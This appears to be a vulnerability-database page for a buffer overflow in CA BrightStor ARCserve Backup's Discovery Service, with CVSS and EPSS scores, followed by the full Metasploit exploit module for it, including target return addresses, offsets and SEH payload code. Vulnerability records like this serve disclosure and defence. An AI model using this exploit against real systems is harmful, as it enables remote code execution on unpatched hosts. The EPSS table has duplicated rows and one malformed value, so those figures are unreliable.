CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Buffer overflow in the Discovery Service in BrightStor ARCserve Backup 9.0 through 11.1 allows remote attackers to execute arbitrary commands via a large packet to TCP port 41523, a different vulnerability than CVE-2005-0260.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
77.39%
–
–
2023-03-12
–
–
–
13.37%
–
2023-07-02
–
–
–
13.35%
–
2023-12-03
–
–
–
15.44%
–
2024-02-11
–
–
–
15.44%
–
2024-06-02
–
–
–
15.44%
–
2024-07-21
–
–
–
18.35%
–
2024-12-22
–
–
–
84.99%
–
2025-02-16
–
–
–
85.29%
–
2025-01-19
–
–
–
84.99%
–
2025-02-16
–
–
–
85.29%
–
2025-03-18
–
–
–
–
84.2%
2025-03-30
–
–
–
–
79.77%
2025-03-30
–
–
–
–
79.77,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: discovery_tcp.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor Discovery Service TCP Overflow',
'Description' => %q{
This module exploits a vulnerability in the CA BrightStor
Discovery Service. This vulnerability occurs when a specific
type of request is sent to the TCP listener on port 41523.
This vulnerability was discovered by cybertronic[at]gmx.net
and affects all known versions of the BrightStor product.
This module is based on the 'cabrightstor_disco' exploit by
Thor Doomen.
},
'Author' => [ 'hdm', 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2005-2535'],
[ 'OSVDB', '13814'],
[ 'BID', '12536'],
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],
[ 'URL', 'http://milw0rm.com/exploits/1131'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 2048,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.0
{
'Platform' => 'win',
'Ret' => 0x23803b20, # pop/pop/ret
'Offset' => 1032,
},
],
[
'cheyprod.dll 12/12/2003',
{
'Platform' => 'win',
'Ret' => 0x23805714, # pop/pop/ret
'Offset' => 1024,
},
],
[
'cheyprod.dll 07/21/2004',
{
'Platform' => 'win',
'Ret' => 0x23805d10, # pop/pop/ret
'Offset' => 1024,
},
],
],
'DisclosureDate' => 'Feb 14 2005',
'DefaultTarget' => 1))
register_options(
[
Opt::RPORT(41523)
], self.class)
end
def check
# The first request should have no reply
csock = Rex::Socket::Tcp.create(
'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'],
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
})
csock.put('META')
x = csock.get_once(-1, 3)
csock.close
# The second request should be replied with the host name
csock = Rex::Socket::Tcp.create(
'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'],
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
})
csock.put('hMETA')
y = csock.get_once(-1, 3)
csock.close
if (y and not x)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
connect
print_status("Trying target #{target.name}...")
buf = rand_text_english(4096)
# Overwriting the return address works well, but the only register
# pointing back to our code is 'esp'. The following stub overwrites
# the SEH frame instead, making things a bit easier.
seh = generate_seh_payload(target.ret)
buf[target['Offset'], seh.length] = seh
# Make sure the return address is invalid to trigger SEH
buf[ 900, 100] = (rand(127)+128).chr * 100
# SERVICEPC is the client host name actually =P (thanks Juliano!)
req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41"
req << buf
sock.put(req)
sock.get_once
handler
disconnect
end
end